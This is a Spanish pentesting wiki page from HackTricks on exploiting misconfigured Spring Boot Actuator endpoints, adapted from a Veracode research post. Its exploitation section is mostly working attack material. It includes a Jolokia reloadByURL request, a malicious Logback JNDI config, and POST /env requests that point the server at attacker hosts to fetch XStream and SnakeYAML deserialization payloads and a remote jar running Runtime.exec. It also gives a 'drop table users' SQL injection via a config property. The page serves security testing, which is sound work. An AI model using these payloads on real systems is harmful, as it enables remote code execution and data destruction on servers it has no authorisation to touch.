hacktricks/network-services-pentesting/pentesting-web/spring-actuators.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

20 KiB

Spring Actuators

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Bypass de autenticación de Spring

De https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****

Explotando Spring Boot Actuators

Copiado de https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

El framework Spring Boot incluye una serie de características llamadas actuators para ayudarte a monitorear y administrar tu aplicación web cuando la llevas a producción. Diseñados para ser utilizados para auditoría, salud y recolección de métricas, también pueden abrir una puerta oculta a tu servidor cuando están mal configurados.

Cuando una aplicación Spring Boot está en ejecución, registra automáticamente varios puntos finales (como '/health', '/trace', '/beans', '/env', etc.) en el proceso de enrutamiento. Para Spring Boot 1 - 1.4, son accesibles sin autenticación, lo que causa problemas significativos de seguridad. A partir de la versión de Spring 1.5, todos los puntos finales, excepto '/health' y '/info', se consideran sensibles y están asegurados por defecto, pero esta seguridad a menudo es desactivada por los desarrolladores de aplicaciones.

Los siguientes puntos finales de Actuator podrían tener implicaciones de seguridad que podrían llevar a posibles vulnerabilidades:

  • /dump - muestra un volcado de hilos (incluyendo una traza de pila)
  • /trace - muestra los últimos mensajes HTTP (que podrían incluir identificadores de sesión)
  • /logfile - muestra el contenido del archivo de registro
  • /shutdown - apaga la aplicación
  • /mappings - muestra todos los mapeos del controlador MVC
  • /env - proporciona acceso al entorno de configuración
  • /actuator/env
  • /restart - reinicia la aplicación
  • /heapdump - construye y devuelve un volcado de montón desde el JVM utilizado por nuestra aplicación

Para Spring 1x, se registran bajo la URL raíz, y en 2x se movieron a la ruta base "/actuator/".

Explotación:

La mayoría de los actuators admiten solo solicitudes GET y simplemente revelan datos de configuración sensibles, pero varios de ellos son particularmente interesantes para los cazadores de shell:

1. Ejecución remota de código a través de '/jolokia'

Si la biblioteca Jolokia está en la ruta de clases de la aplicación objetivo, Spring Boot la expone automáticamente bajo el punto final del actuador '/jolokia'. Jolokia permite el acceso HTTP a todos los MBeans registrados y está diseñado para realizar las mismas operaciones que se pueden realizar con JMX. Es posible listar todas las acciones de MBeans disponibles utilizando la URL:

http://127.0.0.1:8090/jolokia/list

Nuevamente, la mayoría de las acciones de MBeans solo revelan algunos datos del sistema, pero una es particularmente interesante:

reloadByURL

La acción 'reloadByURL', proporcionada por la biblioteca Logback, nos permite volver a cargar la configuración de registro desde una URL externa. Podría ser activado simplemente navegando a: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml

Entonces, ¿por qué deberíamos preocuparnos por la configuración de registro? Principalmente por dos cosas:

  1. La configuración tiene un formato XML, y por supuesto, Logback lo analiza con Entidades Externas habilitadas, por lo tanto, es vulnerable a XXE ciego.
  2. La configuración de Logback tiene la característica 'Obtención de variables de JNDI'. En el archivo XML, podemos incluir una etiqueta como '<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />' y el atributo de nombre se pasará al método DirContext.lookup(). Si podemos suministrar un nombre arbitrario en la función .lookup(), ni siquiera necesitamos XXE o HeapDump porque nos da una Ejecución Remota de Código completa.

Cómo funciona:

  1. Un atacante solicita la URL mencionada anteriormente para ejecutar la función 'reloadByURL', proporcionada por la clase 'qos.logback.classic.jmx.JMXConfigurator'.

  2. La función 'reloadByURL' descarga una nueva configuración desde http://artsploit.com/logback.xml y la analiza como una configuración de Logback. Esta configuración maliciosa debería tener el siguiente contenido:

<configuration>
  <insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
</configuration>

3. Cuando este archivo es analizado en el servidor vulnerable, crea una conexión al servidor LDAP controlado por el atacante especificado en el valor del parámetro "env-entry-name", lo que lleva a la resolución de JNDI. El servidor LDAP malicioso puede devolver un objeto con tipo 'Referencia' para desencadenar una ejecución del bytecode suministrado en la aplicación objetivo. Los ataques de JNDI están bien explicados en este documento de investigación de MicroFocus. La nueva técnica de explotación de JNDI (descrita anteriormente en nuestro blog) también funciona aquí, ya que Tomcat es el servidor de aplicaciones predeterminado en el Framework Spring Boot.

2. Modificación de la configuración a través de '/env'

Si las bibliotecas de Spring Cloud están en el classpath, el endpoint '/env' permite modificar las propiedades ambientales de Spring. Todos los beans anotados como '@ConfigurationProperties' pueden ser modificados y reasignados. Muchas, pero no todas, las propiedades que podemos controlar se enumeran en el endpoint '/configprops' del actuador. En realidad, hay toneladas de ellas, pero no está absolutamente claro qué necesitamos modificar para lograr algo. Después de pasar un par de días jugando con ellas, encontramos esto:

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
 
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream

Esta propiedad modifica la serviceURL de Eureka a un valor arbitrario. El servidor Eureka se utiliza normalmente como servidor de descubrimiento, y casi todas las aplicaciones de Spring Cloud se registran en él y le envían actualizaciones de estado. Si tienes suerte de tener Eureka-Client <1.8.7 en el classpath objetivo (normalmente se incluye en Spring Cloud Netflix), puedes explotar la vulnerabilidad de deserialización de XStream en él. Todo lo que necesitas hacer es establecer la propiedad 'eureka.client.serviceUrl.defaultZone' en la URL de tu servidor (http://artsploit.com/n/xstream) a través de '/env' y luego llamar al endpoint '/refresh'. Después de eso, tu servidor debería servir el payload de XStream con el siguiente contenido:

<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                      <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>

Este payload de XStream es una versión ligeramente modificada de la cadena de gadgets ImageIO solo para JDK de la investigación de Marshalsec. La única diferencia aquí es el uso de LinkedHashSet para activar el método 'jdk.nashorn.internal.objects.NativeString.hashCode()'. El payload original aprovecha java.lang.Map para lograr el mismo comportamiento, pero la configuración de XStream de Eureka tiene un convertidor personalizado para mapas que lo hace inutilizable. El payload anterior no usa mapas en absoluto y se puede usar para lograr la ejecución remota de código sin restricciones adicionales.

Usando Spring Actuators, en realidad puedes explotar esta vulnerabilidad incluso si no tienes acceso a un servidor Eureka interno; solo necesitas un punto final "/env" disponible.

Otras configuraciones útiles:

spring.datasource.tomcat.validationQuery=drop+table+users - te permite especificar cualquier consulta SQL, y se ejecutará automáticamente en la base de datos actual. Podría ser cualquier declaración, incluyendo insertar, actualizar o eliminar.

Explotando Spring Boot Actuators Drop Table

spring.datasource.tomcat.url=jdbc:hsqldb:https://localhost:3002/xdb - te permite modificar la cadena de conexión JDBC actual.

La última parece genial, pero el problema es cuando la aplicación que ejecuta la conexión de la base de datos ya está establecida, simplemente actualizar la cadena JDBC no tiene ningún efecto. Afortunadamente, hay otra propiedad que puede ayudarnos en este caso:

spring.datasource.tomcat.max-active=777

El truco que podemos usar aquí es aumentar el número de conexiones simultáneas a la base de datos. Entonces, podemos cambiar la cadena de conexión JDBC, aumentar el número de conexiones y después enviar muchas solicitudes a la aplicación para simular una carga pesada. Bajo carga, la aplicación creará una nueva conexión de base de datos con la cadena JDBC maliciosa actualizada. Probé esta técnica localmente contra Mysql y funciona perfectamente.

Explotando Spring Boot Actuators Max Active

Además de eso, hay otras propiedades que parecen interesantes, pero en la práctica no son realmente útiles:

spring.datasource.url - cadena de conexión de la base de datos (solo se usa para la primera conexión)

spring.datasource.jndiName - cadena JNDI de la base de datos (solo se usa para la primera conexión)

spring.datasource.tomcat.dataSourceJNDI - cadena JNDI de la base de datos (no se usa en absoluto)

spring.cloud.config.uri=http://artsploit.com/ - URL de configuración en la nube de Spring (no tiene ningún efecto después del inicio de la aplicación, solo se usan los valores iniciales).

Estas propiedades no tienen ningún efecto a menos que se llame al punto final '/restart'. Este punto final reinicia todo el ApplicationContext, pero está deshabilitado de forma predeterminada.

Hay muchas otras propiedades interesantes, pero la mayoría de ellas no tienen efecto inmediato después del cambio.

N.B. En Spring Boot 2x, el formato de solicitud para modificar propiedades a través del punto final '/env' es ligeramente diferente (usa formato json en su lugar), pero la idea es la misma.

Un ejemplo de la aplicación vulnerable:

Si quieres probar esta vulnerabilidad localmente, creé una aplicación Spring Boot simple en mi página de Github. Todos los payloads deberían funcionar allí, excepto la configuración de la base de datos (a menos que la configures).

Descubrimiento de caja negra:

Una lista completa de actuators predeterminados se puede encontrar aquí: https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt. Ten en cuenta que los desarrolladores de aplicaciones pueden crear sus propios puntos finales utilizando la anotación @Endpoint.

Actualización de mayo de 2019:

Hay una forma más confiable de lograr RCE a través de una modificación de propiedades ambientales de Spring:

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
 
spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml

Esta solicitud modifica la propiedad 'spring.cloud.bootstrap.location', la cual es utilizada para cargar configuraciones externas y parsearlas en formato YAML. Para que esto suceda, también necesitamos llamar al endpoint '/refresh'.

POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Cuando se obtiene la configuración YAML desde el servidor remoto, se analiza con la biblioteca SnakeYAML, que también es susceptible a ataques de deserialización. La carga útil (yaml-payload.yml) puede generarse utilizando la investigación Marshalsec mencionada anteriormente:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
  ]]
]

La deserialización de este archivo provoca la ejecución del constructor de ScriptEngineManager con el URLClassLoader suministrado. En pocas palabras, esto lleva al método 'java.util.ServiceLoader#load(java.lang.Class<S>, java.lang.ClassLoader)', que intenta encontrar todas las implementaciones de la interfaz 'ScriptEngineFactory' dentro de todas las bibliotecas en el classpath. Dado que podemos agregar una nueva biblioteca a través de URLClassLoader, podemos servir una nueva 'ScriptEngineFactory' con el bytecode malicioso dentro. Para hacerlo, necesitamos crear un archivo jar con los siguientes archivos obligatorios: yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class debe contener el bytecode real, con la carga maliciosa en el constructor.

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
 
    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
            Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

El archivo yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory debería ser solo un archivo de texto que contenga una referencia completa a 'artsploit.AwesomeScriptEngineFactory', para que ServiceLoader sepa dónde encontrar la clase: artsploit.AwesomeScriptEngineFactory. Nuevamente, esta técnica de explotación requiere que Spring Cloud esté en el classpath, pero en comparación con el payload de XStream de Eureka, funciona incluso en la última versión. Puede encontrar el payload completo en mi proyecto de github: yaml-payload.

Env + H2 RCE

Consulte esta página para encontrar cómo explotar la combinación /env + H2: https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database

Más información

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥